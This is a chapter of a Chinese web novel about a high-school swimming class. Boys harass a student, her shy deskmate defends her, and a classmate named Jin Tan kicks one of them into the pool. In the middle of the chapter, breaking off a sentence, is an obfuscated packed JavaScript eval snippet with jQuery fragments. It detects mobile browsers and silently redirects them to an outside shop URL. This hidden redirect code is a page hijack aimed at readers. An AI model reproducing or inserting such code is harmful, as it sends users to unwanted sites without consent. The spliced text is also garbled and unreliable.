3. 游泳课

作品:《里外

    这一场雨就像是夏季来临的开幕式,雨后初霁,青空湛湛,白云下,小橘猫神神气气地晃荡在校园一隅,砖头缝里苔藓新绿,它懒懒躺着,翻出肚皮。


    午后课间休息,阳光肆无忌惮地落在走廊边,地板上投来一大片形状不规则的光影。


    陵和靠近南方,初夏的气候刚刚好。方便男生穿着夏季校服在球场吸引一众同学的目光,也能够让女生把普通的灰色百褶裙搭配出花儿来。


    风格不一的长袜以及各式各样的小皮鞋。


    鞋跟踩在地面,一定要噔噔噔地响。


    隔壁班的语文课代表抱着一摞作业本往对面楼的老师办公室走去,有同学大剌剌地倚在阳台那侧,串着班地和狐朋狗友们闲聊。


    课代表在人群中左右避让,她是逆行,一会儿说着借过,一会儿用手勉强扶着东倒西歪的作业本。


    周棠坐在后排靠窗的位置,睡前拉上窗帘还是被喧闹声吵醒。


    她动了动脖子,迷迷糊糊地睁开眼。


    教室环境不仅嘈杂,空气里还飘着不知名零食的味道,她蹙着眉,有些心烦地推开桌面笔袋。


    同桌是个稍显内向的女生,听到动静不太敢吭声,算数学题的笔尖倏然停止,捏着笔的右手局促用力。


    他们班刚调完座位没到两天。


    同桌之间并不熟悉,而在这两天时间里面,周棠和她说的最多的话就是“让一下,我要出去”或者“让一下,我要进来”。


    最多再加一句友好提醒“我们组要交作业了”。


    女生眼角余光瞥见周棠动了一下,似有所感地率先开口,挪着凳子问她:“你是不是要出去?”


    闻声,周棠脑袋偏过来,看着她,睡眼依旧朦胧,然后小弧度地摇摇头。


    那意思很明显是不用。


    得到答案,女生不再多问,专注力转移回试卷反面的解答题第二个问,在纸上涂涂抹抹地算了会儿,无奈地深呼吸,她真是一点解题思路都没有。


    周棠坐在她旁边,闭上眼时脸没再转回去。女生扭头,想起下课铃声打响之前,周棠好像已经把试卷反面的题目写得差不多了。


    她执着于弄明白过程,便不由自主地看过去。


    周棠的试卷放在桌面上,两面完全摊开,被她胳膊压着的地方皱皱巴巴的,但是能看清楚上面的字迹。


    些许潦草,胜在总体灵动飘逸。


    这一道视线明晃晃的,好几秒钟过去也没想要避开,实在没办法忽略,周棠伸出手指,好心引导地在试卷上点了一下,是她答题时圈出来的关键条件。


    女生被她的动作吓得屏住呼吸,眼神却僵在那儿没有收回,眼看着周棠坐起身,随意扯下头绳,发丝如瀑布般倾泻,又以手为梳,快速地把睡乱的头发扎好。


    再简单整理,变成马尾辫。


    “看懂了吗?题目给的条件没有多余的,你写的过程没用上这个条件,你难道都不疑惑的吗?”


    周棠的语气是平平淡淡的,并不高傲,对这道题的证明方法点到为止。


    半晌,女生还是不说话。


    周棠抬手用指节敲敲桌面,直接喊着她的名字,对她说:“纪桑南,你下次不会的数学题可以直接问我,偷看我的试卷我会睡不好。”


    惊觉自己的冒犯与缺少边界的打扰,纪桑南终于垂着头,怯怯地说一句:“对不起,我……我只是觉得你长得很好看,还有,你怎么会知道我的名字?”


    周棠眉眼弯了下,脸上一副不可思议的模样,嘴里嗤声未尽,又怕举动吓跑同桌,只好指着黑板左侧的值日表,“喏,今天是周二,你是窗户值日生。”


    “四排一座,纪桑南。”


    纪桑南懵懂地点头说:“哦,原来如此。”


    上课铃霎时打响。


    两分钟时间,周棠已经清空桌面,拎出暗红色双肩包,一股脑儿地把要用的文具和作业塞进去,旋即拽上拉链,提着包带往身后一撂,背起出门。


    她能记得今天是周几,全依赖陵高周二下午有两小节课合并而成的一大节游泳课。


    陵和高中与这个区域内的其他普高不同,虽然不是刷全面发展的国际学校,却也区别于传统教学模式。


    陵高前两年新上任的校长是素质教育出身的佼佼者,所以会更注重学习和体育多方面相结合,策略实施后也使得每年毕业季的升学率高于区重点。


    不过年级里也有传闻说,约莫校长老高他小时候有一个未能实现的梦想,就是在世界泳坛留下姓名,以致于游泳课一周两节,可这门课的考核标准只高不低,且有再往上逐步提升一个档次的可能性。


    周棠是属于喜欢游泳课的那一波,还有一波人尽管自己无感,但对其他班女生的游泳穿着比较有兴趣。


    游泳馆的女更衣室内。


    刚扎好的马尾被反折进泳帽,周棠套好浅彩暗纹的竞速泳衣,拿着泳镜,慢慢抽绳调节大小,走出门。


    泳池边,各班队伍分成两排。


    男生一列,女生一列。


    周棠戴上泳镜,拨着橡胶边,让它恰好卡在额头前面一点的位置,自然地站到队伍末尾。


    纪桑南是在五分钟之后出来的,她绑着一身保守到只露脖子、手腕和脚踝的灰色连体型泳衣,磨磨蹭蹭地跟在另外一个相处得还不错的同学身后。


    每逢游泳课,她都表现抗拒,不安地搓着手指,又常常苦于找不到正当理由向教练请假,只好硬着头皮上课,并默默祈祷千万不要有同学关注到她。


    不远处,周棠踮着脚,双手交叉上扬,来回抻了几下,紧接着微微弯腰,勾起脚尖,拉伸小腿肌肉。


    她在为待会儿的下水做热身准备。


    纪桑南隔着人群,看到周棠被细肩带勒住的光洁后背,皮肤是莹白的质感,肩线流畅,腰臀两个部位该窄的窄,该翘的翘,更别说那双能攫取视线的长腿。


    无需和旁人比较。


    她单站在那里,气质卓然。


    纪桑南突然想起情窦初开的那个时候,她会掐着点儿地跑去表姐家一起看港剧,后来也追泰剧和美剧。那段日子,她的脑海里总对十六七岁充满幻想。


    感觉自己升入高中那天,也会自动变成影片里自由坚韧的女高。


    穿着统一发放的藏青色制服裙,可以私底下偷偷修改尺码,早上出门前还会精致地整理领口的蝴蝶结。


    直到——


    她在秋季入学当天遇到周棠。


    纪桑南一下子就明白了那句话,世界很大,你我皆为芸芸众生,她也确实普通又渺小。


    至此。


    她幻想破灭。


    她没能成为电视剧里演绎的出众角色,但她见到了无限趋近于她理想的少女时代的另一位美少女。


    入学那天,所有同学都需要填写报名表。


    当时,她就排在周棠的后面,视线无法控制地被她吸引,默默记下她的名字,终于在两天前等到机会,换座位的时候她特意选了周棠旁边空出的位置。


    游泳教练是学校聘请的专业老师,岸上还配备有三名安全员负责救援。


    防止训练过程中泳池会出现突发事故。


    这堂课的主要内容是静态闭气和自由泳的姿势考核,前面的同学按照男女分类在各自的泳道内练习,不得越线,如果有私自更换泳道或者违规涉入深水区的同学,这门课的分数直接标零。


    严格到没有任何情面可讲。


    如果只是不得分,这听着其实还没什么,能进入陵高的,绝大多数家境富饶,分数对他们来说可有可无,但游泳课是特例,搞砸这件事情会被全校通报。


    批评教育、千字检讨,外加告知父母。


    社交圈当然是以圈为单位,传出去东家的好儿子或者西家的小公主顽劣不堪,连游泳课都要重修,那父母在外维持多年的脸面才真叫挂不住。


    所以一般来说,没有什么同学愿意这样做。副作用巨多,正反馈少得可怜。


    换句话说,性价比极低。


    不过显而易见,总会有人不信邪,想着触碰一下高压线也死不了,顶多回家挨一顿骂,然后回学校和朋友们装装样子,嘴边说着无妨,都是小事。


    教练举着班级名单,念到周棠的名字,她答到,上前一步,扶着泳池边慢慢蹲下,双腿没过水面。


    其后,口哨声响。


    周棠捏住鼻子,鼻梁沉入水中,教练同步读秒,待到肺中氧气耗尽,她起身出水,教练记录成绩。


    最后一项是泳道五十米,同样的哨声,周棠一跃前行,在水中,她的身形更能舒展开,游泳馆上方是阳光玻璃,水面波光粼粼,照得她的脊背漂亮得迷人。


    纪桑南捂嘴惊呼,刚要由衷感叹。


    一侧耳,听到自己班的生物课代表正流里流气地和旁边人讨论:“周棠这身材比例,这腿,看着就好绝!不知道她弄起来……会怎么样?”


    他有胆子说,纪桑南都不敢听。


    简直污言秽语,她皱着眉,想立刻把耳朵闭上,不料他们的议论声越发尖锐恶心。


    “没玩过,浩子你试试。”


    少女的名讳被亵渎,纪桑南的怒气在胸腔里积聚翻涌,忍无可忍到直接爆发,她颤着音,吼道:“你们几个说够了没!孙其浩,你还是生物课代表呢,你好意思当代表吗,一点带头作用都不起?”


    话音全落了,但几位参与其中的男生仍然没有半点收敛,反倒嘴脸油腻,喉咙里发出讥诮的讽笑,笑得纪桑南全身难以自抑地发起抖来。


    “呵呵,纪桑南,怎么几天没找你麻烦,你学会给别人当小狗了,她是你的主人吗?轮得着你来护?”


    “也说呢,这不她自个儿穿得严严实实,知道的以为她是爱惜保守,不知道的……”


    “还以为她是欲拒还迎。”


    男生在后半句停顿,故意拉长嗓子,说些影射意味十足的话。


    “谁知道是不是有人就吃她这套清纯做作!”


    “哈哈哈哈哈哈。”


    “厉害啊,我们坤哥。”男生们笑闹一片,嘴脸尤为狰狞,更浑的话也是张口就来。


    纪桑南觉得自己的头真的要裂开了,好疼,喉咙却被水泥封住了似的,怎么努力也发不出任何声音,急得眼泪在眼眶里不争气地打转。


    她眼睛都快憋红了。


    这会儿,周棠的五十米考核已经结束。


    她掀开泳镜,在泳池对面上岸,打开游泳包,拿过速干浴巾,双手一翻,裹在肩头,一边擦着后背上的水珠,一边面朝着刚才入水的地方


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992787|193798||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    往回走。


    接着,耳边骤然听到响亮的一声。


    噗通——


    泳池里水花四溅。


    声音发生得太突然,周棠下意识地眯起眼睛,看向落水的方向,同时也看到了站在一旁的纪桑南。


    她本来以为是自己的小包子同桌力大无穷,几秒没见从慢吞吞化身为女战士了。


    后来她眼神一抬。


    才注意到纪桑南身后站着的人。


    也不知道他是何时过来的。


    周棠拿着浴巾的手一顿,隐隐想起来,游泳课照常是两个班一起上的。


    她们是五班。


    和一班安排在同一个时间段。


    他就那样站在泳池边,下身穿一条黑色泳裤,上身套着同颜色同品牌的宽松T恤。


    手臂肌肉因刚才的动作有些紧绷,力道从肩膀延伸到腕骨,再向下到手背,青筋一条条鼓动显现,如同球场边那棵百年香樟树密密匝匝的根系。


    也和他这个人一样。


    野蛮生长。


    冷冽又倨傲。


    眼神中透着的凌厉毋庸置疑,他侧颈,眉头渐渐皱起,而后松动,不以为意地甩了甩手。


    谁看了都知道。


    他这是嫌弃之情溢于言表。


    孙其浩扑腾着胳膊爬到岸上,挣扎过程中咽了好几口脏水,抬手胡乱抹了下脸,还没站稳,就恼羞成怒地开口:“我操你大爷,他妈的,谁踢的老子!”


    孙其浩用手狠狠指着她,恶意满满。


    纪桑南手足无措地望向身后。


    周棠反应过来,先他一步拦在纪桑南前面。她唇边扯出笑容来,故意转头逗自己的软怂同桌。


    “可以啊,我还以为你今天翻身把歌唱了呢。”


    纪桑南的状态还是懵懵的,缩着肩膀瑟瑟发抖。


    周棠不准备和孙其浩浪费半句口舌,眸光朝着头顶无死角的监控看了看,拉着纪桑南转身离开。


    经过那个人身边的时候,她步伐稍微停顿,不经意与他对视一眼,也没有多做停留。


    教练刚从卫生间跑出来,安全员在孙其浩爬上来的时候切换成工作模式,重新巡视了一圈。


    游泳馆空间大,声响的确会有回音,但交谈内容除了临近的几位参与者,并没有机会宣扬出去。


    其他同学大都面面相觑,只察觉到他们应该是发生了某些冲突。


    但不确定具体是因为什么而有的摩擦。


    孙其浩当然无法咽下这个哑巴亏,冲脚边啐一口唾沫,质问他:“你以为你是谁?又仗着谁为所欲为,老子说什么话干你屁事,真能把自己当回事儿!”


    “是和我没关系,看你不爽也需要理由吗?”他语气淡漠,姿态倦懒从容。


    陵高人才辈出,纨绔子弟当然也是数不胜数,而他这个人不一样,总会给人一种奇妙的矛盾体的感觉,就是如果他放浪形骸起来,确实让人望尘莫及。


    周棠拉着纪桑南走到游泳馆门口,松开了牵着她的手,掌心一片潮湿,对她说:“你先回教室。”


    “可是……我的书包还在更衣间,今天的作业还没有写完。”纪桑南犹豫着要不要去拿,想起孙其浩那副嘴脸,又有点后怕。


    “我回去给你送出来,柜子钥匙给我,你在行政楼等我。”


    纪桑南慌乱着抓她衣角,“不……孙其浩还在……”


    “没事的,别怕。”


    兴许是周棠的关心起了点儿作用,纪桑南不阻止她了,睫毛颤了颤,点头说:“好。”


    周棠回到更衣室,换掉身上湿淋淋的泳衣,穿好校服,又到纪桑南的柜子里掏出她的书包,连带着自己的书包,一个在手里拎着,一个背着。


    经过泳池入口时,周棠停了下来,探头看里面的情况如何,她并没有感到害怕,是因为她之前就知道孙其浩的德行,也知道帮纪桑南的那个同学是谁。


    还包括一个原因。


    他也曾帮过她。


    高一入学的早晨,学校喇叭里放着广播,妈妈给她装了满盒的青提,被一位态度恶劣的眼镜男撞倒,他偶然路过,强硬要求眼镜男向她道歉。


    她刚想和他说声谢谢,只看见有风吹过去,他急匆匆地下楼,发梢微乱,背影挺阔。


    同时听到楼底下有人喊他的名字:“靳谈,你不是说要去领书嘛,人呢,快点下来!”


    除了游泳课的必要性与重要性,大部分同学喜欢这门课还有一个原因:


    游泳馆外的大屏幕会实时更新并滚动播放校内一百米的纪录,范围是整个高中部。


    这极大程度上满足了热血少年们的小小虚荣心。


    周棠走出游泳馆,回过身,抬头望着。


    第一名近三个月几乎没有什么变化,一直以来都是艺体班的特长生学姐。


    于然。


    第二名倒是会轮着换来换去的,但也就只有那么几个人,你追我赶的,互相忙着刷新对方纪录。


    西边的落日洒着金橘色,蓝天白云映衬着,像是一幅色调鲜明的油彩画。


    周棠抬起手,遮住眉梢,眼前的光线暗了下来,屏幕上的名字清晰可见。


    现在排榜第二名的是——


    高一(1)班。


    靳谈。